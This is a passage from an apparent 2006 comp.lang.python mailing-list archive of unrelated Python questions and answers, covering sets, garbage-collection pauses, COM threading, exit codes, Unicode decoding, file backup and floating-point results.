			startInfo = new ProcessStartInfo("python");
			startInfo.WorkingDirectory = directory;
			startInfo.Arguments = script;
			startInfo.UseShellExecute = false;
			startInfo.CreateNoWindow = true;
			startInfo.RedirectStandardOutput = true;
			startInfo.RedirectStandardError = true;

			process = new Process();
			process.StartInfo = startInfo;
			process.Start();

			string s;
			while ((s = process.StandardOutput.ReadLine()) != null)
			{
				Label1.Text += s;
			} 
		}
}



From john106henry at hotmail.com  Wed Oct 25 20:08:02 2006
From: john106henry at hotmail.com (John Henry)
Date: 25 Oct 2006 17:08:02 -0700
Subject: Dealing with multiple sets
Message-ID: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>

Hi list,

If I have a bunch of sets:

a = set((1, 2, 3))
b = set((2, 3))
c = set((1, 3))
....

What's the cleanest way to say:

1) Give me a list of the items that are in all of the sets? (3 in the
above example)
2) Give me a list of the items that are not in all of the sets? (1,2 in
the above example)

Thanks,



From noway at sorry.com  Sun Oct  1 03:13:25 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Sun, 01 Oct 2006 07:13:25 GMT
Subject: Is this a bug? Python intermittently stops dead for seconds
References: <mailman.1027.1159685538.10491.python-list@python.org>
Message-ID: <pUJTg.130151$zy5.1802764@twister1.libero.it>

charlie strauss wrote:

> Below is a simple program that will cause python to intermittently
> stop executing for a few seconds.  it's 100% reproducible on my
> machine.

Confirmed with Python 2.4.2 on Windows.

gc.disable() fixes it, so it looks like you found an inefficiency in the
Python's GC. I have no idea whether this would be considered a bug by Python's
developer, but you can try opening a bugreport...
-- 
Giovanni Bajo




From tejovathi.p at gmail.com  Mon Oct 16 04:41:26 2006
From: tejovathi.p at gmail.com (Teja)
Date: 16 Oct 2006 01:41:26 -0700
Subject: COM error
In-Reply-To: <3MXXg.6230$5i7.1379@newsreading01.news.tds.net>
References: <1160791154.186493.167980@f16g2000cwb.googlegroups.com>
	<3MXXg.6230$5i7.1379@newsreading01.news.tds.net>
Message-ID: <1160988086.433712.213260@f16g2000cwb.googlegroups.com>


Neil Cerutti wrote:
> On 2006-10-14, Teja <tejovathi.p at gmail.com> wrote:
> > What is "ValueError: argument is not a COM object" ? I get this
> > error when I try to pass a COM object to a thread.
> >
> > Any pointers????
>
> Try passing it to Larry Bird, instead. He's bound to score some
> points.
>
> Seriously, the function you called expected a COM object and you
> passed it something else. Without seeing more code, it's hard to
> be any helpfuller.
>
> --
> Neil Cerutti

HI all,

I have a problem in accesing COM objects in threads. To be precise,
lets assume that I have a class GenericFunctions which is defined as
follows:

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

class GenericFunctions:

       def __init__(self):
             print "In Constructor of Generic Functions"

       def MyNavigate(self,dest):
             ie.Navigate(dest)


Now there  is another file Main.py which is defined as follows:

import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()

class Mainclass:
       def __init__(self);
            print "In Constructor of Main class"

       def threadFunction(self,dest):
            pythoncom.CoInitialize()
            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
            my_ie=win32com.client.Dispatch(d)
            obj.func(dest)          # this is gving an error.
            pythoncom.CoUninitialize()

if __name__ == "__main__":

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
         thread.start_new_thread(self.nav, (s,'www.google.com')

Basically, I want to access object of GenericFunctions class inside
threadFunction(). However I was able to execute
my_ie.Navigate("google.com"). But that was not I wanted. I am not
knowing where the error is....
Please let me know the solution ASAP...

Teja.P



From http  Thu Oct 26 09:37:51 2006
From: http (Paul Rubin)
Date: 26 Oct 2006 06:37:51 -0700
Subject: iterator idea
References: <7xiri7mucr.fsf_-_@ruckus.brouhaha.com>
	<Xns9868422894901duncanbooth@127.0.0.1>
Message-ID: <7x64e7qjtc.fsf@ruckus.brouhaha.com>

Duncan Booth <duncan.booth at invalid.invalid> writes:
> I wouldn't agree that there is no way reasonable way to get the terminating 
> value with takewhile, you just need another generator or two:

Hmm, I hadn't thought about iterator.send.  I'll have to look at that
more carefully and re-read the PEP.


From steven.bethard at gmail.com  Wed Oct 11 14:44:35 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 11 Oct 2006 12:44:35 -0600
Subject: Alternative constructors naming convention
In-Reply-To: <1160564942.565119.226780@m7g2000cwm.googlegroups.com>
References: <1160564942.565119.226780@m7g2000cwm.googlegroups.com>
Message-ID: <nKKdnXbBibAOprDYnZ2dnUVZ_rudnZ2d@comcast.com>

Will McGugan wrote:
> Is there a naming convention regarding alternative constructors? ie
> static methods where __new__ is called explicity.

Are you really using staticmethod and calling __new__?  It's often much 
easier to use classmethod, e.g.::

     class Color(object):
         ...
         @classmethod
         def from_html(cls, r, g, b):
             ...
             # convert r, g, b to normal constructor args
             ...
             # call normal constructor
             return cls(...)

And FWIW, I use lower_with_underscores for alternate constructors, not 
CamelCase.

STeVe


From wolfgang.keller.nospam at gmx.de  Sun Oct 15 08:47:37 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Sun, 15 Oct 2006 14:47:37 +0200
Subject: Book about database application development?
Message-ID: <0001HW.C157FA8900644D9AF0407530@news.individual.de>

Hello,

does anyone know of a good book that about development of database 
applications?

Preferrably language independent, if that's not available something 
"readable" as the example language would be nice (Delphi is ok for me, not 
any kind of C-dialect including Java and C#). Unfortunately there seems to be 
nothing dedicated to database applications with Python.

I'm especially interested in such practical topics as e.g. how to implement 
things such that the resulting application doesn't show the hourglass for 
minutes on every mouseclick.

And, btw; "W** applications" are totally irrelevant for me.

TIA,

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From johnjsal at NOSPAMgmail.com  Mon Oct 30 10:19:04 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 15:19:04 GMT
Subject: wxPython - which is the better sizer to use with notebook
In-Reply-To: <1162206390.240665.230160@b28g2000cwb.googlegroups.com>
References: <1162196851.786053.162930@k70g2000cwa.googlegroups.com>
	<1162206390.240665.230160@b28g2000cwb.googlegroups.com>
Message-ID: <IJo1h.196$1n3.4510@news.tufts.edu>

SPE - Stani's Python Editor wrote:
> Chris Brat schreef:
> 
>> Hi,
>>
>> What sizers do people use to
>> - contain the notebook control in a Frame and,
>> - contain the contents of a single page of the notebook.
>>
>> At the moment Im using a GridBagSizer for both but this seems to be
>> overkill.
>> Is a BoxSizer a better option?
> 
> Yes, use box sizer if you have to place only one control or when you
> need to place a row or column of controls.

And you don't need to specify an orientation either (vertical or 
horizontal), since it doesn't matter. :)


From johnjsal at NOSPAMgmail.com  Thu Oct 26 16:51:55 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 20:51:55 GMT
Subject: my first software
In-Reply-To: <1161892741.305570.114550@e3g2000cwe.googlegroups.com>
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
	<1161892741.305570.114550@e3g2000cwe.googlegroups.com>
Message-ID: <Ld90h.171$1n3.4082@news.tufts.edu>

Chelonian wrote:
> FS.Jason at gmail.com wrote:
>> I am a beginner of programming and started to learn Python a week ago.
>> last 3 days, i write this little tool for Renju...
> 
> Tell you what, I will trade you my fluent English for your ability to
> write that in 3 days as a beginning programmer who started learning
> Python a week ago.  As a true beginner to programming, I was about to
> bake myself a cake when I was able to simply open a text file. Are you
> on massive smart drugs or is my water tainted or what?  :)
> 
> I am always amazed at what is considered a "beginner" on this
> list...[slurks back off into true beginnerdom]
> 

Don't worry, I got about halfway through the code before my eyes fell 
out too. :)


From rpdooling at gmail.com  Sun Oct 22 16:47:20 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 22 Oct 2006 13:47:20 -0700
Subject: sending vim text through Python filter
Message-ID: <1161550040.309135.250940@h48g2000cwc.googlegroups.com>

Hello,

I'm sure this is my fault or some Windows snafu. But using gvim 7.0 on
Windows XP, I can't seem to get gvim to successfully filter text
through a Python script. I also use NoteTab and have no problems
running text from NoteTab through the same Python script.

Any vimmers help with this?

I'm sending standard text with the vim command :%!sort.py

The Python script (sort.py) is:

from sys import stdin
input = stdin.read().split('\n')
input.sort()
print '\n'.join(input)

I get:

Traceback (most recent call last):
  File "d:\python\sort.py", line 2, in ?
    input = stdin.read().split('\n')
IOError: [Errno 9] Bad file descriptor

Thanks,

rd



From mail at microcorp.co.za  Fri Oct  6 05:06:31 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 6 Oct 2006 11:06:31 +0200
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<RynVg.5625$Y24.480@newsread4.news.pas.earthlink.net>
Message-ID: <023c01c6e926$ec6970c0$03000080@hendrik>

"Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote:

> On Thu, 5 Oct 2006 11:28:08 +0100, "Matthew Warren"
> <Matthew.Warren at Digica.com> declaimed the following in comp.lang.python:
> 
> > 
> > Now, I started programming when I was 8 with BBC Basic.
> >
> Remember what the acronym BASIC stands for?

8<-----------------------------------------------

yes

- Hendrik




From steve at holdenweb.com  Mon Oct  2 11:24:07 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 16:24:07 +0100
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <452125F8.8070106@googlemail.com>
References: <452125F8.8070106@googlemail.com>
Message-ID: <efrat3$db4$1@sea.gmane.org>

Hari Sekhon wrote:
> I'm running a command like
> 
> import commands
> result = commands.getstatusoutput('somecommand')
> print result[0]
> 3072
> 
> 
> However, this exit code made no sense so I ran it manually from the 
> command line in bash on my linux server and it gives the exit code as 
> 12, not this weird 3072 number.
> 
> So I tried os.system('somecommand') in the interactive python shell and 
> it too returned the same result for the exit code as the unix shell, 12, 
> but re-running the commands.getstatusoutput() with the exact same 
> command still gave 3072.
> 
> 
> Is commands.getstatusoutput() broken or something?
> 
> 
> -h
> 
No, it's just returning the error code in the top half of a sixteen-bit 
value. You will notice that 3072 == 2 * 256.

That's always been the way the Unix return code has been returned 
programattically, but the shell shifts it down to make it more usab;e.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Dennis.Benzinger at gmx.net  Wed Oct  4 12:22:38 2006
From: Dennis.Benzinger at gmx.net (Dennis Benzinger)
Date: Wed, 4 Oct 2006 18:22:38 +0200
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
Message-ID: <20061004182238.15e1a53a@dcbpc.wh-syrlin.uni-ulm.de>

On Wed, 04 Oct 2006 16:02:56 GMT
"David Isaac" <aisaac0 at verizon.net> wrote:

> Is it expected for access to set elements to be much
> slower than access to list elements?  Explanation?
> Thanks,
> Alan Isaac
> 
> >>> t1=timeit.Timer("for i in set(xrange(10000)):pass","")
> >>> t2=timeit.Timer("for i in list(xrange(10000)):pass","")
> [...]

You're measuring the time for creating the xrange and the set/list too.
Create them before you call Timer() and repeat your timing.


Dennis Benzinger


From veracon at gmail.com  Sat Oct 14 12:03:22 2006
From: veracon at gmail.com (veracon)
Date: 14 Oct 2006 09:03:22 -0700
Subject: Making a shorter shebang
In-Reply-To: <1160841240.145863.58940@m7g2000cwm.googlegroups.com>
References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>
	<1160840595.827897.150260@f16g2000cwb.googlegroups.com>
	<1160841240.145863.58940@m7g2000cwm.googlegroups.com>
Message-ID: <1160841802.218222.60510@h48g2000cwc.googlegroups.com>

Actually, it appears to still be using the default binary
(/usr/bin/python). Can I be sure it's actually reading the .profile
file? I'm executing through regular CGI in Apache.

veracon wrote:
> Thanks a lot!
>
> Jerry wrote:
> > /usr/bin/env just searches your PATH variable to find it, but it does
> > so in order.  So, if you want it to find your python instead of a
> > system provided one, just alter your PATH variable and put
> > /home/my_username/python2.5 in front of everything else.
> >
> > example in .profile:
> >
> > PATH=/home/<username>/python2.5:$PATH
> > export PATH
> >
> > --
> > Jerry
> >
> > On Oct 14, 10:37 am, "veracon" <vera... at gmail.com> wrote:
> > > Long story short, in order to use Python 2.5, I've compiled it in my
> > > own account on my hosting. It works fantastic as
> > > /home/my_username/python2.5, but the shebang is a bit long. Is there a
> > > way to shorten it (environment variables?) or, even better, make
> > > /usr/bin/env python point to it?
> > > 
> > > Thanks in advance!



From lee at example.com  Wed Oct 18 17:45:33 2006
From: lee at example.com (Lee Harr)
Date: Wed, 18 Oct 2006 21:45:33 GMT
Subject: pexpect with apache
References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>
	<1161202610.865795.63830@f16g2000cwb.googlegroups.com>
Message-ID: <1gxZg.3425$ya1.2766@news02.roc.ny>

> Well, first i don't think it is a good idea to have the python script
> tu su to root, but for it to work, i think (Totally unsure about that)
> www has to be in group wheel to be able to su.


Maybe sudo can help here.


From fredrik at pythonware.com  Tue Oct 10 12:35:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 18:35:37 +0200
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <egghvv$bdm$1@sea.gmane.org>
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com><pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au><1160332330.684420.276560@e3g2000cwe.googlegroups.com><mailman.61.1160333064.11739.python-list@python.org><1160335473.625244.261640@m7g2000cwm.googlegroups.com><mailman.76.1160338331.11739.python-list@python.org><1160345922.051578.146630@i3g2000cwc.googlegroups.com><mailman.97.1160379058.11739.python-list@python.org><sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>	<1160455280.118212.202770@b28g2000cwb.googlegroups.com>	<egggaf$3kr$1@sea.gmane.org>
	<egghvv$bdm$1@sea.gmane.org>
Message-ID: <eggi4p$bdm$2@sea.gmane.org>

> *) insert martelli essay here.

for example:

http://mail.python.org/pipermail/python-list/2003-May/163820.html



From duncan.booth at invalid.invalid  Thu Oct 19 05:42:19 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 19 Oct 2006 09:42:19 GMT
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
Message-ID: <Xns98616CE973980duncanbooth@127.0.0.1>

NoelByron at gmx.net wrote:

> 'K\xc3\xb6ni'.decode('utf-8')     # 'K\xc3\xb6ni' should be 'K?nig',
> contains a german 'umlaut'
> 
> but failed since python assumes every string to decode to be ASCII?

No, Python would assume the string to be utf-8 encoded in this case:

>>> 'K\xc3\xb6ni'.decode('utf-8').encode('latin1')
'K\xf6ni'

Your code must have failed somewhere else. Try posting actual failing code 
and actual traceback.



From fredrik at pythonware.com  Fri Oct  6 07:58:59 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 13:58:59 +0200
Subject: How to run in background?
In-Reply-To: <1160135411.056915.34130@b28g2000cwb.googlegroups.com>
References: <1159185721.476762.222830@b28g2000cwb.googlegroups.com>	<mailman.642.1159255082.10491.python-list@python.org>
	<1160135411.056915.34130@b28g2000cwb.googlegroups.com>
Message-ID: <eg5ge3$siq$2@sea.gmane.org>

billie wrote:

> I'm sorry. I tried with "windows=myscript.py" but it doesn't seem to
> work.

it does work, so you've probably made some simple mistake.  figuring
out what that is is a bit hard if you don't provide more information, 
though.

can you perhaps post (the relevant portions of) your setup.py file ?

</F>



From ericlake at gmail.com  Wed Oct 18 15:39:10 2006
From: ericlake at gmail.com (elake)
Date: 18 Oct 2006 12:39:10 -0700
Subject: Determining if a file is locked in Windows
Message-ID: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>

I found this thread about a pst file in Windows being locked and I am
having the same issue.

http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1

The problem is that I have a script that can find the pst files on
every machine in my network and back them up to a server for safe
keeping. The problem is that when Outlook is running it locks the file
and will not allow me to copy it to the destination. I am using the
shutil module for the copy.

Is there a way to first determine if the file is locked and then do the
copy if it isn't? I thought about looking to see if Outlook.exe is
running but the machines are shared and the process could be running
but with a different pst file in use.

Thanks in advance



From tim.peters at gmail.com  Sun Oct  1 16:12:11 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 1 Oct 2006 16:12:11 -0400
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <AE3C1DCB-458E-416B-A254-DB9C27C9949D@earthlink.net>
References: <AE3C1DCB-458E-416B-A254-DB9C27C9949D@earthlink.net>
Message-ID: <1f7befae0610011312x28eea7a1kf94934e5b30899ee@mail.gmail.com>

[charlie strauss]
> Below is a simple program that will cause python to intermittently
> stop executing for a few seconds.  it's 100% reproducible on my machine.

Any program that creates a great many long-lived container objects
will behave similarly during the creation phase.  Others have
explained why.  Here's a simpler example:

from time import time
xs = []
i = 0
while 1:
    i += 1
    s = time()
    xs.append([[1, 2] for dummy in xrange(1000)])
    f = time()
    if f-s > 0.25:
        print "time", f-s, "on try", i
    if i % 100 == 0:
        print "xs made:", i


From malkarouri at gmail.com  Fri Oct 13 00:54:16 2006
From: malkarouri at gmail.com (malkarouri at gmail.com)
Date: 12 Oct 2006 21:54:16 -0700
Subject: Starting out.
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
Message-ID: <1160715256.698199.64540@h48g2000cwc.googlegroups.com>

Ahmer wrote:
> Hi all!
>
> I am a 15 year old High School Sophomore. I would like to start
> programming in Python. In school, we are learning Java (5) and I like
> to use the Eclipse IDE, I also am learning PHP as well.
>
> What are some ways to get started (books, sites, etc.)? I am usually on
> linux, but I have a windows box and am planning on getting a mac.

Generally good choices. I don't prefer PHP, however. For somebody who
is learning programming, it encourages sloppy programming.

I would suggest that you use PyDev (http://pydev.sourceforge.net/), a
Python plugin for Eclipse, for Python programming. It is a helpful
environment, especially for somebody already using Eclipse.

For resources, I suggest you take a look at
http://wiki.python.org/moin/BeginnersGuide/NonProgrammers which is for
non-programmers. If you feel like checking other resources, more are
linked to http://wiki.python.org/moin/BeginnersGuide .

Best luck,

k



From ironpythonster at gmail.com  Mon Oct  9 21:14:55 2006
From: ironpythonster at gmail.com (Kevien Lee)
Date: Tue, 10 Oct 2006 09:14:55 +0800
Subject: A problem about File path encode
Message-ID: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com>

Hi everyone,
  There is a problem about File path encode ,when i want to parse an xml
file.
  The code as follow:
  ------------------------------------------------------------------
from xml.dom import minidom
def ReadXml():
    xmldoc=minidom.parse("D:\Downloads\1.xml")
    print xmldoc.toxml()

if __name__ == "__main__":
    ReadXml()

--------------------------------------------------------------------------

there throw an error:

Traceback (most recent call last):
  File "D:/Downloads/test", line 8, in <module>
    ReadXml()
  File "D:/Downloads/test", line 4, in ReadXml
    xmldoc=minidom.parse("D:\Downloads\1.xml")
  File "D:\Program Files\Python25\lib\xml\dom\minidom.py", line 1913, in
parse
    return expatbuilder.parse(file)
  File "D:\Program Files\Python25\lib\xml\dom\expatbuilder.py", line 922, in
parse
    fp = open(file, 'rb')
IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml'

------------------------------------------------------------------------------------------

See the red line.the file path"D:\Downloads\1.xml" auto  changed
'D:\\Downloads\x01.xml'

I think may be the version cause the problem (version2.4) at the beginning,but
when i changed the version2.5 ,

the error still exist.and the code run on another PC is OK.Why this error
happen?how could i fix that?
-------------- next part --------------
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From samnemo at gmail.com  Mon Oct 23 15:32:18 2006
From: samnemo at gmail.com (samn)
Date: 23 Oct 2006 12:32:18 -0700
Subject: python2.5 importerror on md5
In-Reply-To: <mailman.1002.1161631426.11739.python-list@python.org>
References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>
	<mailman.1002.1161631426.11739.python-list@python.org>
Message-ID: <1161631938.267555.303790@h48g2000cwc.googlegroups.com>

> I believe the _md5 module (as opposed to the md5 module) is a compiled
> extension. I'm guessing the import succeeds on the machine you used to
> build python.
>
> Try
>
>    import _md5
>    print _md5.__file__
>
> and see if you can find out where it's being loaded from. You'll
> probably find that you also need to tailor the sysprefix parameter, or
> some such.
>

You are correct that import md5 works fine on the machine that I
compiled on and only has problems on the other machine. I wasn't able
to import _md5 , even on the machine I compiled on.
Here's what I get on the machine I compiled on:
Python 2.5 (r25:51908, Oct 23 2006, 13:38:11)
[GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import md5
>>> import _md5
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named _md5
>>> import md5
>>> print md5.__file__
/usr/arch/lib/python2.5/md5.py

sys.prefix is equal on both machines:
>>>import sys
>>> sys.prefix
'/usr/arch'

thanks for any help
sam



From reivax85 at gmail.com  Wed Oct 18 08:07:16 2006
From: reivax85 at gmail.com (Sssasss)
Date: 18 Oct 2006 05:07:16 -0700
Subject: matrix Multiplication
In-Reply-To: <mailman.682.1161171052.11739.python-list@python.org>
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
	<mailman.682.1161171052.11739.python-list@python.org>
Message-ID: <1161173235.942581.277590@k70g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> "Sssasss" wrote:
>
> > I wan't to multiply two square matrixes, and i don't understand why it
> > doesn't work.
> >
> > def multmat(A,B):
> >    "A*B"
> >    if len(A)!=len(B): return "error"
> >    D=[]
> >    C=[]
> >    for i in range(len(A)): D.append(0)
> >    for i in range(len(A)): C.append(D)
>
> append doesn't copy data, so you're basically adding len(A) references to
> the same D list to C.  for more on this, see:
>
>     http://pyfaq.infogami.com/how-do-i-create-a-multidimensional-list
> 
> </F>

Ok!! Tank you very much, i understand now.

ciao



From duncan.booth at invalid.invalid  Mon Oct  9 03:35:43 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 9 Oct 2006 07:35:43 GMT
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<mailman.1442.1160128745.10491.python-list@python.org>
	<Xns98547173763B6duncanbooth@127.0.0.1>
	<egci8i$43p$1@lust.ihug.co.nz>
Message-ID: <Xns985755C711158duncanbooth@127.0.0.1>

Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> wrote:

> I use the above when I can, when I can't I fall back on
><http://groups.google.co.nz/groups?selm=efc5b3$can$1 at lust.ihug.co.nz>,
><http://groups.google.co.nz/groups?selm=efhn5v$fia$2 at lust.ihug.co.nz>.

Yes, so you said, but you never came up with a convincing use case where 
that function was better than using the parameterised queries.


From mail at microcorp.co.za  Tue Oct 31 02:33:55 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 31 Oct 2006 09:33:55 +0200
Subject: Tkinter Listbox string formatting question - how to kill a dancing
	snake ?
Message-ID: <02a901c6fcbf$181c51a0$03000080@hendrik>

I am populating a listbox from a directory that looks like this:

variable_dict = {"funny_long_or_short_variable_name_as_key": (2,45),......

the tuple represents a "card, line" pair.
medf is a font object and a forward reference here.

I write:

for x in variable_dict:
    txt = x
    while medf.measure(txt) < 350:
        txt = txt + ' '
    txt = txt + str(variable_dict[x])

and I use the txt string to populate the list box.

At first glance, it seems to work, as the names are on the left, and the tuples
are in a column...

But if you scroll the listbox, the inherent error makes it appear as if the
tuple column is a snake doing the twist.

I tried using a tab but got a backslash - t in the text, and simply counting
spaces is worse than useless.

Is there a way to format this so it will line up with  *any*  font ?

I would prefer not to give up and use a fixed width font - it looks so
teletypish...

A blank char of one pixel width would sort this nicely - but as the hilbilly
said when he first saw a rhinoceros: " There aint no such animal! "  -  or is
there?

- Hendrik



From vatamane at gmail.com  Sun Oct 29 17:55:23 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 14:55:23 -0800
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <7xlkmyzrz9.fsf@ruckus.brouhaha.com>
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
	<1162156412.199341.315540@i42g2000cwa.googlegroups.com>
	<7xlkmyzrz9.fsf@ruckus.brouhaha.com>
Message-ID: <1162162523.818382.209640@f16g2000cwb.googlegroups.com>

Try the --skip-networking option for mysqld

Paul Rubin wrote:
> "Nick Vatamaniuc" <vatamane at gmail.com> writes:
> > The simplest solution is to change your system and put the DB on the
> > same machine thus greatly reducing the time it takes for each DB query
> > to complete (avoid the TCP stack completely).
>
> Since when do any db's let you avoid the TCP stack, even on the same
> machine?



From uche.ogbuji at gmail.com  Fri Oct  6 13:45:30 2006
From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com)
Date: 6 Oct 2006 10:45:30 -0700
Subject: PyXML not supported, what to use next?
In-Reply-To: <4o814eFdebrhU1@individual.net>
References: <4o814eFdebrhU1@individual.net>
Message-ID: <1160156730.151608.94660@i3g2000cwc.googlegroups.com>

Paul Watson wrote:
> It would appear that xml.dom.minidom or xml.sax.* might be the best
> thing to use since PyXML is going without support.  Best of all it is
> included in the base Python distribution, so no addition hunting required.

FWIW, easy_install [1] is making things so that more and more
installing stuff is not much additional burden.  I'll admit that I've
hardly found easy_install to be problem-free, but since it seems to be
the wave of the future (and a welcome wave at that) I've pushed for
support in recent versions of the XML tools I co-develop: 4Suite [2]
and Amara [3].  For many people these are now very easy to install.
This is the case for some other third-party XML tools as well.

[1] http://peak.telecommunity.com/DevCenter/EasyInstall
[2] http://4suite.org/
[3] http://uche.ogbuji.net/tech/4suite/amara/

--
Uche Ogbuji                               Fourthought, Inc.
http://uche.ogbuji.net                    http://fourthought.com
http://copia.ogbuji.net                   http://4Suite.org
Articles: http://uche.ogbuji.net/tech/publications/



From bearophileHUGS at lycos.com  Sat Oct  7 05:25:12 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 7 Oct 2006 02:25:12 -0700
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <1160200171.328938.158800@i42g2000cwa.googlegroups.com>
References: <eg6bku$59b$1@online.de>
	<mailman.1476.1160167145.10491.python-list@python.org>
	<1160168050.069336.61710@i3g2000cwc.googlegroups.com>
	<1160200171.328938.158800@i42g2000cwa.googlegroups.com>
Message-ID: <1160213112.144420.90400@m7g2000cwm.googlegroups.com>

Paddy:
> You might also put the outer loop calling function advance so many
> times, into the advance function:

Remember that the autors of the Shootout refuse some changes to the
code (like this one), to allow a fair comparison. The rules are strict.

I have improved the Psyco version:
http://shootout.alioth.debian.org/gp4sandbox/benchmark.php?test=nbody&lang=all

If I find the time I'll try to speed up the Python version too
following some of the suggestions of this thread. Note that on that
site there are 4 different comparisons.

The interesting question is how the Lua JIT can be that fast, it's
often faster than Psyco:
http://shootout.alioth.debian.org/gp4sandbox/benchmark.php?test=all&lang=luajit&lang2=psyco

http://luajit.luaforge.net/

Bye,
bearophile



From python.list at tim.thechases.com  Thu Oct 19 15:00:33 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 19 Oct 2006 14:00:33 -0500
Subject: Calling a definition
In-Reply-To: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
Message-ID: <4537CB51.6050909@tim.thechases.com>

> I have a piece of code that I need some help with. It is
> supposed (in my mind at least) take two arguments, a start
> path and a file extension. Then when called it should return
> each of the file paths that are found matching the criteria.
> It is only returning the first file that it finds. What am I
> doing wrong?


  1 def findFileExt(startPath, fileExt):
  2     for root, dirs, files in os.walk(startPath):
  3         for file in files:
  4             if file.endswith(fileExt):
  5                 filePath = str(os.path.join(root, file))
  6                 return filePath

On line 7, you return from the function which prevents the
remainder of the code in the function/loop from being
processed.

You'd either have go gather them all in a list and then
return that gathered list:

  1 def findFileExt(startPath, fileExt):
+      results = []
  2     for root, dirs, files in os.walk(startPath):
  3         for file in files:
  4             if file.endswith(fileExt):
  5                 filePath = str(os.path.join(root, file))
-6                 return filePath
+                  results.append(filePath)
+      return results

or, you could write it as a generator:

  1 def findFileExt(startPath, fileExt):
  2     for root, dirs, files in os.walk(startPath):
  3         for file in files:
  4             if file.endswith(fileExt):
  5                 filePath = str(os.path.join(root, file))
-7                 return filePath
+                  yield filePath

which can then be used like

	for thing in findFileExt(src_path, ext):
		do_something(thing)

-tkc






From chrispatton at gmail.com  Sun Oct 15 00:23:26 2006
From: chrispatton at gmail.com (Chris)
Date: 14 Oct 2006 21:23:26 -0700
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <mailman.526.1160885916.11739.python-list@python.org>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.526.1160885916.11739.python-list@python.org>
Message-ID: <1160886206.594661.321230@e3g2000cwe.googlegroups.com>

Oh, ok that explains it. Is that why my 16-bit calculator gives me 0?
Carsten Haese wrote:
> On 14 Oct 2006 20:33:13 -0700, Chris wrote
> > >>> from math import *
> > >>> sin(0)
> > 0.0
> > >>> sin(pi)
> > 1.2246063538223773e-016
> > >>> sin(2*pi)
> > -2.4492127076447545e-016
> > >>> cos(0)
> > 1.0
> > >>> cos(pi)
> > -1.0
> > >>> cos(2*pi)
> > 1.0
> >
> > The cosine function works fine, but I'm getting weird answers for sine.
> > Is this a bug? Am I doing something wrong?
>
> You're apparently not correctly reading python's answer to sin(pi).
> 1.2246063538223773e-016 is the scientific notation for the number
> 0.00000000000000012246063538223773, which is pretty darn close to zero, the
> result you probably expected.
>
> You're not getting *exactly* zero because you're not passing in *exactly* pi
> but a close approximation of pi.
>
> I'll leave it as an exercise for the reader to explain why cosine seems to
